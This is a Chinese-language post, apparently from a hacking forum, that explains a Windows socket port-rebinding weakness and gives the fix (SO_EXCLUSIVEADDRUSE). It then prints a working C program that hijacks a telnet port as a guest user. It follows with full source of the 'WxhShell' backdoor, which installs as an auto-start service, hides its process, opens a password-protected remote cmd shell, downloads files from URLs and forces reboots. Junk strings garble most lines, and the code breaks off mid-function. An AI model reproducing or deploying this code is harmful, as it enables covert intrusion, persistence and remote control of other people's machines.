在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
b<N962 q$q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ki"o0u kN99( saddr.sin_family = AF_INET;
BWd{xP y
PN$vBFjm saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lM<SoC;[ 0d%p<c bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tk"+PTGJT 4IW7^Pq`P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}E}b/ulg1 pu"`*NL 这意味着什么?意味着可以进行如下的攻击:
3O W)% [J6*Q9B<V& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>*5+{~k~4 AhjUFz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b.<>CG' ns{BU->f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;T6x$e j#`d%eQ~J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#DL( %=: oZY2K3J) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0^27grU> Ot]Y/;K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2I2#o9(Ar w# t[sI"IT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\;b)qB 6"d^4L? #include
]Gm$0uS #include
~sI$xX! #include
]lKQwpX3 #include
*TjolE~o DWORD WINAPI ClientThread(LPVOID lpParam);
-\.'WZo` int main()
A=v^`a03I {
5g{L
-8XwI WORD wVersionRequested;
`3v!i DWORD ret;
I^5T9}>Q WSADATA wsaData;
]G0`W6;$] BOOL val;
YEEgDw]BQ SOCKADDR_IN saddr;
QTN
_Z#' SOCKADDR_IN scaddr;
g' xR$6t int err;
V
ifQ@ SOCKET s;
/<HEcB SOCKET sc;
Y[A`r0 int caddsize;
=s2dD3Fr| HANDLE mt;
t5%\`Yo? DWORD tid;
*mc]Oa
wVersionRequested = MAKEWORD( 2, 2 );
&*}NN5Sv err = WSAStartup( wVersionRequested, &wsaData );
[I`r[u if ( err != 0 ) {
;FO1b* printf("error!WSAStartup failed!\n");
k{fCU% return -1;
z)Y<@2V*C }
&IQp& saddr.sin_family = AF_INET;
@aG1PG{ M>mk=-l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
k
\|[= TJ:B_F*bSk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
d9zI
A6y saddr.sin_port = htons(23);
%!r>]M < if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#?xhfSgr {
RLypWjMx$ printf("error!socket failed!\n");
FuOP+r!H return -1;
Lx-ofN\ }
_YXk,ME!Q val = TRUE;
?|8QL9Q"| //SO_REUSEADDR选项就是可以实现端口重绑定的
dOm#NSJVd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f`5e0;zm {
:*bmc /c printf("error!setsockopt failed!\n");
Gs*FbrY return -1;
U9D4bn D }
{emO=@CP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
w ' E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zN(fZT}K5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g)*[W>M f-9&n4=H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
yZ[H&> {
[)}F4Jsz% ret=GetLastError();
\*}JdEHB printf("error!bind failed!\n");
/znW$yh o return -1;
,}!OJyT }
8>Xyz`$kH listen(s,2);
~jab/cR while(1)
_y}]j;e8>{ {
:t\pi.uWt caddsize = sizeof(scaddr);
N[%^0T$ //接受连接请求
(F$V m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
l`L}*Q- 5 if(sc!=INVALID_SOCKET)
]8(_{@/ {
*rO#UE2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
UV%Al)3 if(mt==NULL)
^CUeq"GYoZ {
N|c;Qzl printf("Thread Creat Failed!\n");
O:fv1 break;
>9{Gdq[gyr }
1FU(j*~: }
}&d@6m] CloseHandle(mt);
/I{<]m$ }
B\a-Q,Wf closesocket(s);
2R&msdF WSACleanup();
]/!#: return 0;
eK\1cs }
UY*3b<F} DWORD WINAPI ClientThread(LPVOID lpParam)
o5gt`H" {
sQrP,:=r# SOCKET ss = (SOCKET)lpParam;
f&glY`s# SOCKET sc;
<syMrXk)R( unsigned char buf[4096];
vn@9Sqk SOCKADDR_IN saddr;
nwh7DUi long num;
'~RP+ DWORD val;
Ml1sE,BT DWORD ret;
[z$th //如果是隐藏端口应用的话,可以在此处加一些判断
S[rz=[7{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V3WHp'1 saddr.sin_family = AF_INET;
S6gg(nNe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[mKPOg-t saddr.sin_port = htons(23);
<zE,T@c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'#REbY5ev {
_p/
_t76s printf("error!socket failed!\n");
8%]o6'd4 return -1;
qc_c& }
Heatt?(RR val = 100;
I/D(gY06< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MG<kvx~2 {
T !C39T ret = GetLastError();
e;9Z/);#s return -1;
t<5$85Y~ }
iB1"aE3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Pu dIb|V2 {
fQcJyX ret = GetLastError();
Q@gmtAp return -1;
};"-6e/9 }
Jhdo#}Ub if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{/SUfXq {
Mz,G;x} printf("error!socket connect failed!\n");
F)_zR closesocket(sc);
v7x%V%K closesocket(ss);
Y=+pz^/" return -1;
T$[50~ }
*;7~aM while(1)
X}*\/(fzl {
X6I"&yct //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
W8{g<.
/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
k I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qKu/~0a/ num = recv(ss,buf,4096,0);
Q!7il<S if(num>0)
W]b>k lp; send(sc,buf,num,0);
pRyePxCDj) else if(num==0)
6U|An* break;
o9I=zAGjy num = recv(sc,buf,4096,0);
g{{DC )> if(num>0)
c'#w 8V send(ss,buf,num,0);
jpijnz{M else if(num==0)
\\w<.\Yh break;
WUnz }
?wM{NVt#- closesocket(ss);
}7)iLfi closesocket(sc);
)Iu0MN& return 0 ;
#Bu W }
*Ae>
,LyE yR?S]
@`" UD ==========================================================
'Lm\ r+$F cg`bbZ 下边附上一个代码,,WXhSHELL
#6okd*^ T$w`=7 ==========================================================
:Y4m3| hbfN1"z #include "stdafx.h"
n:dnBwY LT+QW #include <stdio.h>
=(]yl_ #include <string.h>
?rauhTVnJ #include <windows.h>
+"P!es\q #include <winsock2.h>
EhWYFQ #include <winsvc.h>
pAdx 6 #include <urlmon.h>
Twq/Y07M -!Ov{GHr0 #pragma comment (lib, "Ws2_32.lib")
y6#AL<W@= #pragma comment (lib, "urlmon.lib")
2g0_[$[m xlKg0&D #define MAX_USER 100 // 最大客户端连接数
Cpg>5N~;L #define BUF_SOCK 200 // sock buffer
`2
6t+Tb #define KEY_BUFF 255 // 输入 buffer
J_-K"T|f {KQ]"a 6 #define REBOOT 0 // 重启
85e!)I_ #define SHUTDOWN 1 // 关机
{pJf~ |f+`FOliP #define DEF_PORT 5000 // 监听端口
/+
yIcE(&3 czG]rl\1 #define REG_LEN 16 // 注册表键长度
*3R3C+
L #define SVC_LEN 80 // NT服务名长度
OV>JmYe1{/ ;*+wg5| // 从dll定义API
hiT&QJB` _ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.:wo
ARW! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
sa?Ul)L2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nNc>nB1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V'iT> Y%zYO // wxhshell配置信息
nyl[d|pVa struct WSCFG {
H{1'OC int ws_port; // 监听端口
MP6Py@J45 char ws_passstr[REG_LEN]; // 口令
&=>|? m8 int ws_autoins; // 安装标记, 1=yes 0=no
Z%m\/wr char ws_regname[REG_LEN]; // 注册表键名
U*Sjb%
Qb char ws_svcname[REG_LEN]; // 服务名
n[E/O}3& / char ws_svcdisp[SVC_LEN]; // 服务显示名
bI?uV;m> char ws_svcdesc[SVC_LEN]; // 服务描述信息
|~]@hs~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jA'7@/F/ int ws_downexe; // 下载执行标记, 1=yes 0=no
Od]B;&F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+"?O2PX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:P/0 " UD0#Tpd7 };
cLm|^j/ ;${_eab] // default Wxhshell configuration
pP|LSrY! struct WSCFG wscfg={DEF_PORT,
A6S|pO1)3 "xuhuanlingzhe",
4NK{RN3 1,
\2#j1/d4 "Wxhshell",
l>D!@`><I "Wxhshell",
qGkD] L "WxhShell Service",
U32&"&";c "Wrsky Windows CmdShell Service",
wSPwa,)7s "Please Input Your Password: ",
7;rf$\-& 1,
B;Dl2k^L "
http://www.wrsky.com/wxhshell.exe",
~q,Wj!>Ob "Wxhshell.exe"
Rm&4Pku };
XF Cwa hd%O\D? // 消息定义模块
cOoF +hz0O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
k [eWhdSw char *msg_ws_prompt="\n\r? for help\n\r#>";
>c30kpGg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;!:@3c char *msg_ws_ext="\n\rExit.";
q]\GBRp char *msg_ws_end="\n\rQuit.";
Nc_Qd4<[@G char *msg_ws_boot="\n\rReboot...";
v/G)E_ char *msg_ws_poff="\n\rShutdown...";
BenUyv1d char *msg_ws_down="\n\rSave to ";
o |"iW" + 2t}^8 char *msg_ws_err="\n\rErr!";
P. Gmj; char *msg_ws_ok="\n\rOK!";
g;-6Hg' w:3CWF4q] char ExeFile[MAX_PATH];
OhW o int nUser = 0;
=IEei{ HANDLE handles[MAX_USER];
XGcl9FaO} int OsIsNt;
Mh@RO|F {^A,){uX] SERVICE_STATUS serviceStatus;
60XTdJkDkA SERVICE_STATUS_HANDLE hServiceStatusHandle;
4S\S t< M
$\!SXL // 函数声明
79d<,q;uR int Install(void);
Sau?Y int Uninstall(void);
[J\! 2\Oo int DownloadFile(char *sURL, SOCKET wsh);
j`l'Mg int Boot(int flag);
<tI_u ~P void HideProc(void);
2q}lSa7r int GetOsVer(void);
QdK
PzjA int Wxhshell(SOCKET wsl);
)\m%&EXG{ void TalkWithClient(void *cs);
La8 D%N int CmdShell(SOCKET sock);
$*qQ/hi int StartFromService(void);
zW:r7
P. int StartWxhshell(LPSTR lpCmdLine);
\H{UJ $Ma*q EB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z;lWr(-x VOID WINAPI NTServiceHandler( DWORD fdwControl );
_)a!g-Do7 cL+bMM$4r~ // 数据结构和表定义
C+vk9:" SERVICE_TABLE_ENTRY DispatchTable[] =
Xmv^O {
"}^}3"/. {wscfg.ws_svcname, NTServiceMain},
Z_(P^/ {NULL, NULL}
PM8*/4Cu.5 };
U}c05GiQw Lt2<3DB // 自我安装
~vV+)KI int Install(void)
/7&WFCc)( {
"VgPaz# char svExeFile[MAX_PATH];
1qE*M7_:E> HKEY key;
\:Z8"~G strcpy(svExeFile,ExeFile);
owe6ge7m
Q60'5Wt // 如果是win9x系统,修改注册表设为自启动
60X))MyN if(!OsIsNt) {
;R*tT%Z, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g93Hl& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K-Fro~U RegCloseKey(key);
tE"IE$$1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TFI$>Oz| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RCY}JH>} RegCloseKey(key);
fK10{>E1 return 0;
O)D+u@RhH }
@,;VMO }
H:4?sR3 }
gV;9lpZ2 else {
H|s,;1# 5NN`tv // 如果是NT以上系统,安装为系统服务
+P|Z1a -jB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7CSd}@71\ if (schSCManager!=0)
(
P\oLr9 {
&w{:
qBa SC_HANDLE schService = CreateService
a]t| /Mq (
wvPS0] schSCManager,
^-g-]?q wscfg.ws_svcname,
LDYk\[81 wscfg.ws_svcdisp,
j%Wip j;c SERVICE_ALL_ACCESS,
I9hZ&ed16 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m98w0D@Ee SERVICE_AUTO_START,
Z3N^)j8 SERVICE_ERROR_NORMAL,
H{ +[
,l svExeFile,
;hCUy=m. NULL,
@!,W]?{ NULL,
I`S?2i2H NULL,
N'=b8J-fF NULL,
R:,
|xz NULL
XG8UdR| );
)|`w;F> if (schService!=0)
n1)~/
> {
{8w,{p` CloseServiceHandle(schService);
qU+qY2S: CloseServiceHandle(schSCManager);
vxl!`$Pi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pg/SYEvsV strcat(svExeFile,wscfg.ws_svcname);
cb`ik)=K% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A9kn\U92 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{"hyr/SK d RegCloseKey(key);
-jcgxQH53 return 0;
FSHC\8siS }
a
n|bzG }
qV:TuR-|w CloseServiceHandle(schSCManager);
#iAw/a0& }
2}kJN8\F }
.M>g`UW
RFT`r return 1;
ldRisL }
]Nb~-)t%B 2A(IsUtqO: // 自我卸载
DNGj8 1'c int Uninstall(void)
x?n13C {
+W^$my)< HKEY key;
+.IncY8C$ @9\L|O'~? if(!OsIsNt) {
#s0Wx47~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cOb,Md RegDeleteValue(key,wscfg.ws_regname);
6'ia^om RegCloseKey(key);
Ae^Idz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P"<,@Mn RegDeleteValue(key,wscfg.ws_regname);
Ag_I' RegCloseKey(key);
(T1d!v"~" return 0;
57`9{.HB }
]udH`{] }
N5Ih+8zT }
(laVmU?I7 else {
3AcCa> ' qN"!\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{7+y56[yu if (schSCManager!=0)
*7^w}v+. {
'FwNQz zt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[Q:mLc if (schService!=0)
r"=6s/q7 {
C~8;2/F7 if(DeleteService(schService)!=0) {
e3}o3c_ CloseServiceHandle(schService);
f/tJ>^N5 CloseServiceHandle(schSCManager);
}D*5PV%d return 0;
M:cW/&ZJ }
gYW CloseServiceHandle(schService);
7cly{U" }
$-"V
2 CloseServiceHandle(schSCManager);
y({ EF~w }
"Is0:au+?} }
&*;E wfgZ /..a9x{At> return 1;
9s`j@B0N57 }
0/,Dy2h qZ rv2dT // 从指定url下载文件
OQ*rxLcA int DownloadFile(char *sURL, SOCKET wsh)
mH5[(? {
8 CCA}lOG HRESULT hr;
D5jZ;z} char seps[]= "/";
w6@8cNXK char *token;
WzdE XcY char *file;
Wv-nRDNG char myURL[MAX_PATH];
W~2T/~M char myFILE[MAX_PATH];
CyV(+KBe_ 7) strcpy(myURL,sURL);
-/gAb<= token=strtok(myURL,seps);
6*%E4#4 while(token!=NULL)
vz}_^8O {
P"ATqQG%D file=token;
l_0/g^( token=strtok(NULL,seps);
oz#;7
?9 }
(#5TM1/A {5J: ]{p GetCurrentDirectory(MAX_PATH,myFILE);
y5$AAas strcat(myFILE, "\\");
O+*<^*YyD strcat(myFILE, file);
jb0LMl}/A send(wsh,myFILE,strlen(myFILE),0);
RAi]9` *7 send(wsh,"...",3,0);
w5R?9"d@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
bZd)4 if(hr==S_OK)
:%kJ9zW return 0;
&N\4/'wV else
X}RQ&k return 1;
8w L%(p 8 rA'd }
{aVL3QU k!=
jO#)Rd // 系统电源模块
5#hsy;q;[ int Boot(int flag)
iqTGh*k {
Z!SFJ{ HANDLE hToken;
,n\'dMNii TOKEN_PRIVILEGES tkp;
y -=YX qj #F25,:hY if(OsIsNt) {
cH{[\F"Eb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wxIWh>pZa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
C .{`-RO tkp.PrivilegeCount = 1;
$R_RKyXzo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VMgO1-F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
aOK,Mm:iO if(flag==REBOOT) {
E6_.Q `!ll if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Dvz}sQZ return 0;
d|RDx;rl8 }
7@l.ZECJ1 else {
-:NFF' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0w<G)p~%n return 0;
9#D?wR#J= }
oH]"F }
a+#Aitd else {
yjB.-o(' if(flag==REBOOT) {
f<}>*xH/k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3 V{&o,6 return 0;
LG>lj$hO }
-na oM else {
'Nn>W5#)) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
PAHkF& return 0;
d>r_a9 .u }
#Y;tobB }
N\Li/ 2/M:KR return 1;
QZ^P2==x }
N9jSiRJ Q]"u?Q] // win9x进程隐藏模块
h Lv_ER? void HideProc(void)
Gp5[H}8K {
iQj2aK Gs [|E|(@J HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=!Ce#p?h, if ( hKernel != NULL )
ITf,
)?|]Y {
\Czuf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
dlB?/J< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
sUTh}.[5 FreeLibrary(hKernel);
|T;NoWO+ }
fjwUh>[ } h:l4:{A64 return;
A57e]2_ }
DC6xet{ >p,FAz> // 获取操作系统版本
^,WXvOy int GetOsVer(void)
_|qs-USA {
WEVV2BJ OSVERSIONINFO winfo;
t9(sSl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5U5)$K'OA GetVersionEx(&winfo);
JMIS*njq^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,8/Con|o return 1;
[ yf&]0 else
zb=L[2; return 0;
>+8Kl`2sw; }
.X)TRD#MW T>\r}p // 客户端句柄模块
Sm(t"#dp int Wxhshell(SOCKET wsl)
F3
z:|sTqc {
!3 j@gi2 SOCKET wsh;
,oS<9kC68 struct sockaddr_in client;
[23F0-p DWORD myID;
f1}am< D^jyG6Ch while(nUser<MAX_USER)
;&8 {
i!k5P".o^ int nSize=sizeof(client);
O2 sAt3' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
bQelU if(wsh==INVALID_SOCKET) return 1;
Se>"=[= N@>o:(08 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w,qYT-R if(handles[nUser]==0)
k6mC_ closesocket(wsh);
g Xi&
S else
^KO=8m( )J nUser++;
Jkq? wpYp }
N5Rda2m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:SD^?.W\iT 7B|
#*IZe return 0;
Fy'/8Yv#L }
?O!'ZZX U#{^29ik=o // 关闭 socket
Jx(`.*$ void CloseIt(SOCKET wsh)
9;B6<`e/U {
eTrIN,4 closesocket(wsh);
G<f"_NT nUser--;
yQ{xRtNO ExitThread(0);
c4AkH| }
qJ8@A}}8 13v# // 客户端请求句柄
C%)Xz void TalkWithClient(void *cs)
6}aH>(3!A {
d5z?QI S+7:fu2?+ SOCKET wsh=(SOCKET)cs;
Zz@0Oj!` char pwd[SVC_LEN];
E"{2R>mU~ char cmd[KEY_BUFF];
nC;2wQ6aO char chr[1];
X;D"}X4(E int i,j;
JE$aYs<(TF 9=wt9` ? while (nUser < MAX_USER) {
j4hiMI; '.8E_Jd0E if(wscfg.ws_passstr) {
Z F&aV? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k@i+gV% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ous_269cM //ZeroMemory(pwd,KEY_BUFF);
]IZn#gnM i=0;
{vL4:K while(i<SVC_LEN) {
?-g/hXx; b9(_bsc // 设置超时
Rl2*oOVz fd_set FdRead;
+dIO+(&g struct timeval TimeOut;
;E{k+vkqy FD_ZERO(&FdRead);
!L)~*!+Gf FD_SET(wsh,&FdRead);
B]xZ
4Y TimeOut.tv_sec=8;
wh~g{(Xvq TimeOut.tv_usec=0;
RIDzNdM>U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Eoo[)V#x{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,( ?q t"]+}]O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yK #9)W- pwd
=chr[0]; |*w}bT(PfR
if(chr[0]==0xd || chr[0]==0xa) { >#Obhs|S{C
pwd=0; p[zKc2 TPk
break; !N@d51T=N
} -/O_wqm#
i++;
{"([p L
} {M.OOEcIp
<+tSTc4>r
// 如果是非法用户,关闭 socket S3G9/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A=z+@b6
} %FDv6peH
_7#9nJ3|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aU)NbESu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S?M'JoYy
=@%Ukrd@
while(1) { `=zlS"dQ
W8$ky[2R
ZeroMemory(cmd,KEY_BUFF); U>,E]'
007(k"=oV
// 自动支持客户端 telnet标准 ^4\hZ
j=0; ~'[0-_]=f
while(j<KEY_BUFF) { c89+}]mGq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X(`wj~45VX
cmd[j]=chr[0]; }KBz8M5
if(chr[0]==0xa || chr[0]==0xd) { d3nMeAI AO
cmd[j]=0; <;R}dlBASW
break; yFYFFv\?
} 'F)93SwU
j++; ZJ$nHS?ra
} *XlbD
G=.vo3
// 下载文件 !6R;fD#^s
if(strstr(cmd,"http://")) { %]2hxTV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0I`)<o-
if(DownloadFile(cmd,wsh)) 6dCS Gb
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
MYD`P2F
else Zt;dPYq>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}-si^fo;
} [%);N\o2Y
else { aw\\oN*
)tq&l>0h
switch(cmd[0]) { &tAhRMa
eVXlQO
// 帮助 lhx"<kR4
case '?': { "}ms|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O7M8!3Eqm
break; ]~Su
} g[NmVY-o
// 安装 {Tps3{|wt
case 'i': { IpJMq^Z
if(Install()) al<;*n{/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\-IAv
else z(8:7 G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yobcAV`
break; q)m0n237P
} `/"rs@
// 卸载 DV8b<)
case 'r': { :Zs i5>MT
if(Uninstall()) ^n @dC?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]g3RVA%\l
else ef Moi 'v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FQ3{~05T
break; A"V($:>U
} T"b'T>Y
// 显示 wxhshell 所在路径 Fv<^\q
case 'p': { jDV;tEY#^
char svExeFile[MAX_PATH]; C8xx R~mq
strcpy(svExeFile,"\n\r"); YLx4qE
strcat(svExeFile,ExeFile); N4xCZb
send(wsh,svExeFile,strlen(svExeFile),0); *\n-yx]
break; YUGEGXw
} YV{^2)^
// 重启 G[bWjw86O
case 'b': { [J{M'+a
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S{0iPdUC
if(Boot(REBOOT)) xsO
"H8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?~WIS
else { y37c&XYq
closesocket(wsh); LwI A4$d
ExitThread(0); <TDp8t9bU
} OpNxd]"T
break; ,\Q^[e!m~
} ROWI.|
// 关机 FYLBaN
case 'd': { WXj
iKW(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rP7[{'%r
if(Boot(SHUTDOWN)) !1b4q/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); - _KO}_
else { _1hiNh$
closesocket(wsh); V#P`FX
ExitThread(0); {tDH !sX
} &*JU
N}86
break; yU{Q`6u T
} ] oMtqkiR
// 获取shell mH,L,3R;R
case 's': { kR
!O-@GJ]
CmdShell(wsh); '|
6ZPv&N
closesocket(wsh); _no;B_m~
ExitThread(0); >* )fmfY
break; 0^m`jD
} |nMg.t`8
// 退出 "T4buTXJ
case 'x': { n90DS/Yx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S%p.|!
CloseIt(wsh); b3M`vJ+{
break; ,s~d39{
} }I3m8A
// 离开 Oj,v88=
case 'q': { csd~)a nb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2e<u/M21>
closesocket(wsh); _Oc(K
"v
WSACleanup(); WcOnv'l,
exit(1); Klj -dz
break; (~
`?_
} b9Mp@I7Q-
} B~h3naSe
} /7fD;H^*
Gpf9uj%
// 提示信息 t8ZzBD!dP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O\+b1+&b3Y
} L&,&SDr
} *w`_(Xf
s|[CvjL#0
return; Xx+eGV";`
} %}}?Y`/W)
x+8%4]u`
// shell模块句柄 p~3 (nk<+
int CmdShell(SOCKET sock) j_{f(.5
{
qHl>d*IZ
STARTUPINFO si; r]=Z :
ZeroMemory(&si,sizeof(si)); W QqOXF
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Bz\Tsp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @:Emmzucv|
PROCESS_INFORMATION ProcessInfo; t\XA
JU
char cmdline[]="cmd"; dJF3]h Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
1}Th@Vq
return 0; QJF_ "
} "DC L
Z
g-4j1yJV<
// 自身启动模式 JI[{n~bhGD
int StartFromService(void) TXS{=
{ ^jE8
"G*
typedef struct p|>m 2(|
{ ;Sl%I+?
DWORD ExitStatus; -nQ(.#-n
DWORD PebBaseAddress; L]*5cH
